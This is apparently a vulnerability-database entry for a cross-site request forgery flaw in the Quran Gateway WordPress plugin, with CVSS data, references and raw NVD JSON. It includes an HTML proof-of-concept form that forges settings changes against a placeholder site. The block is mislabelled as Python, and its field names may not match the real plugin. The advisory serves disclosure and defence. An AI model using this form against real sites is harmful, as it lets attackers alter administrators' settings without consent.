Security Vulnerability Report
中文
CVE-2025-14164 CVSS 4.3 MEDIUM

CVE-2025-14164

Published: 2025-12-20 04:16:08
Last Modified: 2026-04-15 00:35:42

Description

The Quran Gateway plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.5. This is due to missing nonce validation in the quran_gateway_options function. This makes it possible for unauthenticated attackers to modify the plugin's display settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Quran Gateway plugin for WordPress <= 1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-14164 --> <!-- This PoC demonstrates how an attacker can forge a request to modify --> <!-- the Quran Gateway plugin settings without proper nonce validation --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-14164</title> </head> <body> <h1>CVE-2025-14164 CSRF Attack Demo</h1> <p>Click the button below to execute the CSRF attack.</p> <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form"> <!-- WordPress admin action for plugin settings --> <input type="hidden" name="action" value="quran_gateway_options"> <!-- Malicious configuration parameters --> <input type="hidden" name="quran_display_language" value="malicious_value"> <input type="hidden" name="quran_layout_style" value="injected_style"> <input type="hidden" name="quran_cache_enabled" value="0"> <!-- Additional malicious settings can be added here --> </form> <button type="submit" onclick="document.getElementById('csrf-form').submit();">Execute Attack</button> <script> // Auto-submit form when page loads (for demonstration) // document.getElementById('csrf-form').submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14164", "sourceIdentifier": "[email protected]", "published": "2025-12-20T04:16:07.687", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quran Gateway plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.5. This is due to missing nonce validation in the quran_gateway_options function. This makes it possible for unauthenticated attackers to modify the plugin's display settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quran-gateway/tags/1.5/admin.php#L457", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-gateway/trunk/admin.php#L457", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3e16da38-709a-4b9a-9f00-efe8459a1318?source=cve", "source": "[email protected]"}]}}